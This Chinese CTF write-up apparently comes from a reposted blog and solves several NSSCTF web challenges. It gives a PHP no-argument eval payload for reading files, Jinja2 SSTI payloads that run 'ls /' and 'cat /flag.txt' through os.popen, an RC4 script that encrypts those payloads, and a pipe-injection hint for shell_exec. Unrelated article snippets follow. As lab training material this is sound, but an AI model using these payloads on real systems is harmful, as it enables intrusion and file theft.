NSSCTF做题第十页(1)

news2024/9/28 3:18:37

[GXYCTF 2019]禁止套娃

 看源代码也没什么东西,扫一下看看

发现了git泄露 话不多说直接开整

 下载下来了

flag.php

 

 还是代码审计

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp'])){

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else{

                die("还差一点哦!");

            }

        }

        else{

            die("再好好想想!");

        }

    }

    else{

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

?>

看见了eval危险函数执行,还有正则

第一个if过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件
第二个if参考了大佬的解释:

    (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
 

推荐一篇大佬的博客给大家

无参数RCE总结-CSDN博客 

第一个payload:

?exp=print_r(scandir(current(localeconv()))); 

原因:

这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。

但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.

看到了flag的位置

 

再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?

所以这个组合scandir(current(localeconv()))很常用,可以记一下。

言归正传。

现在我们知道了flag.php在数组中的倒数第二个位置,但是并没有什么函数可以直接读倒数第二个。

所以我们用array_reverse()翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个不就出来了吗?


如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
 

最后的payload

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

 

[SWPUCTF 2022 新生赛]funny_web 

输入admin/admin回显弹窗

尝试输入nss发现回显

这题对校外的人来说,一言难尽.......

 

 从网上找到了账号密码

账号NSS
密码2122693401

接着往下做 ,代码审计

传参num不等于12345 但是intval(num)要等于12345

 intval()函数:用于获取变量的整数值

传参?num=12345a就可以

 [CISCN 2019华东南]Double Secret

日常扫

访问robots.txt

 访问secret页面(也是无意中访问尝试的,没扫出来)

 传参发现有回显
访问index.php,发现报错,看到源码

 

这段代码逻辑就是对传入的secret进行 RC4 加密,且密钥已知,safe()函数猜测是对恶意代码的过滤,然后用render_template_string()进行模板渲染,如果不了解可以搜一下这个函数,很容易搜出来这个渲染存在 flask 模板注入漏洞(SSTI) 

RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。

推荐的博客

RC4加密算法

这里直接给出网上的脚本 

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("key", "text")

render_template_string是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI 

所以我们只需要进行模板注入,将模板注入的payload进行rc4加密再传参就可以了

看目录:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

看flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

 

rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

 HereIsTreasure是key,后面就是payload

传入payload,得到flag

[WUSTCTF 2020]CV Maker 

题目标签是文件头绕过,有git泄露

 得到了文件

 扫到了phpinfo的页面

直接就找到了flag

[NSSRound#7 Team]ec_RCE 

gpt的解释

这段代码是一个简单的 PHP 脚本,用于接收来自 POST 请求的动作(action)和数据(data),然后将其作为参数传递给一个 Java 程序,并将程序的输出打印出来。

代码的执行流程如下:

  1. 首先,通过 isset() 函数检查是否接收到了 action 和 data 的 POST 参数。如果其中一个或两个参数都不存在,那么会调用 show_source() 函数来显示当前 PHP 文件的源代码。这个操作可能是为了调试或查看代码,但在生产环境中应该避免直接显示源代码给用户。

  2. 接下来,通过 putenv() 函数设置环境变量,将当前环境的语言设置为繁体中文(zh_TW.utf8)。这个操作可能是为了确保 Java 程序在执行时使用繁体中文的语言环境。

  3. 然后,将接收到的 action 和 data 参数分别赋值给 $action 和 $data 变量。在这里,将 data 参数用单引号括起来,并在外面再加上一对单引号。这样做可能是为了将数据作为字符串传递给 Java 程序时保持数据的完整性和一致性。

  4. 最后,使用 shell_exec() 函数执行一个命令,该命令调用了 Java 程序。Java 程序的路径为 /var/packages/Java8/target/j2sdk-image/bin/java,并且使用 -jar 参数指定了要执行的 JAR 文件的路径为 jar/NCHU.jar。同时,将 $action 和 $data 作为参数传递给 Java 程序。

  5. 执行完命令后,将得到的输出赋值给 $output 变量,并使用 echo 函数将输出结果打印出来,返回给客户端

 解释一下shell_exec()

exec()与shell_exec():exec()与shell_exec()相似,都可以执行系统命令,不同的是返回结果不一样,前者返回最后一行,后者返回全部信息。直接使用两者返回是没有回显的。(执行不输出,输出得$a=shell_exec(命令);echo $a;)            //只有一个参数

所以我们只需要构造shell_exec(“/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar+管道符+命令”);就行了 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1151212.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

怎么看电脑有几个cpu?还有cpu是几核的?

一、怎么查看电脑有几个cpu 电脑CPU是电脑的核心&#xff0c;CPU是中央处理器&#xff0c;是电脑进行线程调度的关键&#xff0c;可以通过查看电脑CPU性能个数可以判定一个电脑的性能。今天小编介绍下如何查看电脑CPU个数。 简单的方式直接查看CPU个数。启动电脑后&#xff0c;…

喜讯!合合信息顺利通过CMMI3级评估

近日&#xff0c;在擎标顾问团的咨询辅导下&#xff0c;上海合合信息科技股份有限公司&#xff08;简称“合合信息”&#xff09;顺利通过了CMMI3级评估。CMMI是国际上最流行、最实用的一种软件生产过程标准和软件企业成熟度等级认证的标准&#xff0c;通过该认证表明企业在开发…

Cesium笔记(0):Cesium简介和本地运行

一、Cesium介绍 是国外一个基于JavaScript编写的使用WebGL的地图引擎开源程序&#xff0c;可以免费用于商业和非商业 二、特点 支持3D,2D,2.5D形式的地图展示可以自行绘制图形&#xff0c;高亮区域&#xff0c;并提供良好的触摸支持支持绝大多数的浏览器和mobile动态地理空间…

【Python百练——第2练】使用Python做一个猜数字小游戏

&#x1f490;作者&#xff1a;insist-- &#x1f490;个人主页&#xff1a;insist-- 的个人主页 理想主义的花&#xff0c;最终会盛开在浪漫主义的土壤里&#xff0c;我们的热情永远不会熄灭&#xff0c;在现实平凡中&#xff0c;我们终将上岸&#xff0c;阳光万里 ❤️欢迎点…

洛谷 B2009 计算 (a+b)/c 的值 C++代码

目录 题目描述 AC Code 切记 题目描述 题目网址&#xff1a;计算 (ab)/c 的值 - 洛谷 AC Code #include<bits/stdc.h> using namespace std; int main() {int a,b,c;cin>>a>>b>>c;cout<<(ab)/c<<endl;return 0; } 切记 不要复制题…

实战之巧用header头

案例&#xff1a; 遇到过三次 一次是更改accept&#xff0c;获取到tomcat的绝对路径&#xff0c;结合其他漏洞获取到shell。 一次是更改accept&#xff0c;越权获取到管理员的MD5加密&#xff0c;最后接管超管权限。 一次是更改accept&#xff0c;结合参数获取到key。 这里以越…

vscode免密码认证ssh连接virtual box虚拟机

文章目录 安装软件virtual box配置vscode配置创建并传递密钥连接虚拟机最后 安装软件 安装vscode和virtual box&#xff0c;直接官网下载对应软件包&#xff0c;下载之后&#xff0c;点击执行&#xff0c;最后傻瓜式下一步安装即可 virtual box配置 创建一个仅主机网络的网卡 …

【Linux】第七站:vim的使用以及配置

文章目录 一、vim1.vim的介绍2.vim基本使用3.vim的命令模式常用命令4.底行模式 二、vim的配置 一、vim 1.vim的介绍 vim编辑器&#xff0c;用来文本编写&#xff0c;可以写代码 它是一个多模式的编辑器 它有很多的模&#xff0c;不过我们暂时先只考虑这三种模式 命令模式插入模…

Java基础知识之反射机制详解

一、什么是反射机制? 反射机制是指在运行时动态地获取类的信息,并能够通过这些信息对类的对象进行操作。Java中的反射机制包括获取类信息、获取成员信息、创建对象、调用方法等操作。通过反射机制,我们可以在运行时动态地了解类的结构、属性和方法等信息,从而实现对类的动态…

JavaScript简介:探索Web开发中的魔力

目录 历史与发展 特点与优势 特点与功能 简单易学 客户端脚本语言 跨平台与兼容性 应用领域 总结 JavaScript是一种高级的、解释型的编程语言&#xff0c;用于在网页上实现交互和动态效果。它广泛应用于前端开发中&#xff0c;是构建现代Web应用的核心技术之一。JavaScrip…

宠物用品小程序

近年来&#xff0c;越来越多的人选择将宠物视为家庭的一员&#xff0c;为宠物购买各种用品成为了一项重要的消费活动。因此&#xff0c;宠物用品小程序应运而生&#xff0c;为消费者提供了一个便捷的购买平台&#xff0c;同时也为宠物带来了更加幸福的生活。 登录乔拓云平台进入…

【Java 进阶篇】Java登录案例详解

登录是Web应用程序中常见的功能&#xff0c;它允许用户提供凭证&#xff08;通常是用户名和密码&#xff09;以验证其身份。本文将详细介绍如何使用Java创建一个简单的登录功能&#xff0c;并解释登录的工作原理。我们将覆盖以下内容&#xff1a; 登录的基本概念创建一个简单的…

STM32:使用蓝牙模块

一、蓝牙概要 蓝牙是一种常见的无线通信协议&#xff0c;通常用于短距离通信。蓝牙分为经典蓝牙和低功耗蓝牙(BLE)。经典蓝牙通常用于需要持续传输数据的设备&#xff0c;比如蓝牙耳机等。低功耗蓝牙通常用于只需要间歇性传输数据的设备&#xff0c;比如运动手环。 蓝牙…

C语言——判断 101-200 之间有多少个素数,并输出所有素数

完整代码&#xff1a; // 判断 101-200 之间有多少个素数&#xff0c;并输出所有素数 #include<stdio.h>//判断一个数n是否为素数 int isPrimeNumber(int n){//1不是素数if (n1){return 0;}for (int i 2; i <(n/2); i){//当有n能被整除时&#xff0c;不是素数if ((n…

Jenkins项目部署

使用jenkins部署项目 简易版使用jenkins部署项目 将war包部署到tomcat中 将已有的war包部署到tomcat中(jenkins与tomcat在同一台主机) 点击Jenkins主页的新建任务 输入任务名称 选择构建一个自由风格的软件项目后点击确定 在构建内添加构建步骤&#xff0c;选择执行shell 输入…

RT-Thread内核——内核基础(上)

1、内核简介 内核是操作系统的核心&#xff0c;是操作系统最基础也是最重要的部分&#xff0c;主要负责系统的线程、线程间通信、系统时钟、中断以及内存等。其架构图如下&#xff1a; 2、线程调度 线程是RT-Thread操作系统中最小的调度单位&#xff0c;线程调度算法的基于…

线性代数 第二章 矩阵

一、概念 mxn个数排成的m行n列的表格 二、运算法则 三、初等变换 &#xff08;1&#xff09;用非零常数k乘矩阵的某一行&#xff08;列&#xff09;&#xff1b; &#xff08;2&#xff09;互换矩阵某两行&#xff08;列&#xff09;的位置&#xff1b; &#xff08;3&am…

服务端测试开发必备技能:Mock测试

什么是mock测试 Mock 测试就是在测试活动中&#xff0c;对于某些不容易构造或者不容易获取的数据/场景&#xff0c;用一个Mock对象来创建以便测试的测试方法。 Mock测试常见场景 无法控制第三方系统接口的返回&#xff0c;返回的数据不满足要求依赖的接口还未开发完成&#…

接入百度地图api

注册百度账号&#xff0c;进入百度地图百度地图开放平台 | 百度地图API SDK | 地图开发 点击开发文档&#xff0c;比如js开发选择javascript API&#xff0c;然后跟着向下走&#xff0c;官方文档挺详细 先获取账号与密钥 自用Referer设置 * 即可 复制AK密钥导入自己的html文件即…

MVCC(多版本并发控制)

一、什么是MVCC MVCC是为了解决数据库在不加锁的前提下提升并发性和读取效率的一种思想 数据库有已下几种并发情况 读-读&#xff1a;不会产生并发问题读-写&#xff1a;发生隔离性问题&#xff0c;可能导致脏读、幻读、不可重复度写-写&#xff1a;可能存在数据丢失 为了防…